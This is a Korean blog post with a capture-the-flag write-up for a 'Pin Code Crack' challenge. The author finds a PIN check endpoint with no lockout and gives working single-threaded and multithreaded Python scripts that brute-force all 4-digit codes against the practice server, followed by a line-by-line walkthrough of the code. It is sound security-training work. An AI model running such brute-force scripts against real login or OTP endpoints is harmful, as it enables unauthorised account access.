Almon Dev

ctf 풀이 (Pin Code Crack) 본문

모의해킹/모의해킹(ctf)

ctf 풀이 (Pin Code Crack)

Almon 2024. 11. 20. 14:04

ctf 문제 풀이

 

Pin Code Crack

 

풀이

1> 1111 보내보기

checkOTP.php에  get으로 핀번호를 보내는 것을 확인했습니다.

 

2> 공격방법 생각해 보기

핀번호의 범위가 정해져 있고, 여러 번 시도해도 잠금이 걸리지 않으니 브루트 포스 공격이 적당할 것 같습니다.

버프스위트의 intruder를 이용해서 시도해 보겠습니다.

 

3> burp suite

/6/checkOTP.php?otpNum=§1111§의 §사이의 값을 0000부터 9999까지 1씩 증가하면서 요청을 보냅니다.

그런데 무료버전의 burp는 매우 느리기 때문에 python을 사용하도록 하겠습니다.

 

4> python

실패했을 때의 응답인 <script>alert('Login Fail...');</script><script>location.href='login.php';</script>와 비교해서

다른 응답이 온다면 반복문을 멈추고 결과를 출력합니다.

1021을 입력하면 index.php로 이동하라는 응답이 옵니다.

import requests

url = "http://ctf.segfaulthub.com:1129/6/checkOTP.php?otpNum="
result = ""
fail_text = "<script>alert('Login Fail...');</script><script>location.href='login.php';</script>"

for i in range(0000, 10000):
    response = requests.get(url+f"{i:04d}")
    print(f"{i:04d} Response : {response.text}")
    if fail_text != response.text:
        result = i
        break
print(f"PIN NUMBER : {result}")

 

5> 스레드를 이용하기

python을 이용해도 한 번에 1개의 요청만 보내서 9999까지 매우 오랜 시간이 걸립니다.

10개의 스레드를 이용해서 0000-1000, 1000-2000 같은 식으로 일을 나눠서 진행하겠습니다.

import requests
import threading

url = "http://ctf.segfaulthub.com:1129/6/checkOTP.php?otpNum="
result = ""
fail_text = "<script>alert('Login Fail...');</script><script>location.href='login.php';</script>"

threads = []
threads_count = 10
lock = threading.Lock()
stop_event = threading.Event()
max_num = 10000
num_per_thread = max_num // threads_count

def brute_force(start, end, stop_event):
    for i in range(start, end):
        if stop_event.is_set():
            break
        response = requests.get(url+f"{i:04d}")
        with lock:
            print(f"{i:04d} Response : {response.text}")
        if fail_text != response.text:
            global result
            stop_event.set()
            result = i
            break

for thread_num in range(threads_count):
    start = thread_num * num_per_thread
    end = start + num_per_thread

    t = threading.Thread(target=brute_force, args=(start, end, stop_event))
    threads.append(t)
    t.start()

for t in threads:
    t.join()

print(f"PIN NUMBER : {result}")

 

stop_event = threading.Event()
def brute_force(start, end, stop_event):
    for i in range(start, end):
        if stop_event.is_set():

brute_force 함수는 시작하는 수와 끝나는 수, stop_event가 있습니다.

 

    for i in range(start, end):
        if stop_event.is_set():
            break
        response = requests.get(url+f"{i:04d}")

start와 end사이의 숫자를 i에 넣으면서 반복문을 돕니다.

stop_event가 set 되면 반복문을 종료합니다.

 

        with lock:
            print(f"{i:04d} Response : {response.text}")

스레드들이 동시에 출력해서 결과가 섞이는 것을 막기 위해 with lock을 사용합니다.

 

        if fail_text != response.text:
            global result
            stop_event.set()
            result = i
            break

실패응답과 다른 응답이 온다면 stop_event를 set 하고 result에 핀번호를 넣고 반복문을 종료합니다.

 

for thread_num in range(threads_count):
    start = thread_num * num_per_thread
    end = start + num_per_thread

    t = threading.Thread(target=brute_force, args=(start, end, stop_event))
    threads.append(t)
    t.start()

스레드를 생성하고 threads 리스트에 추가하고 스레드를 실행합니다.

 

for t in threads:
    t.join()

스레드가 모두 종료될 때까지 기다립니다.

 

'모의해킹 > 모의해킹(ctf)' 카테고리의 다른 글

ctf 풀이 ( SQL Injection 2 )  (1) 2024.11.24
ctf 풀이 (SQL Injection 1)  (0) 2024.11.23
ctf 풀이 (admin is mine)  (1) 2024.11.19
ctf 풀이 (Secret Login)  (2) 2024.11.18
ctf 풀이 (Login Bypass 4)  (0) 2024.11.18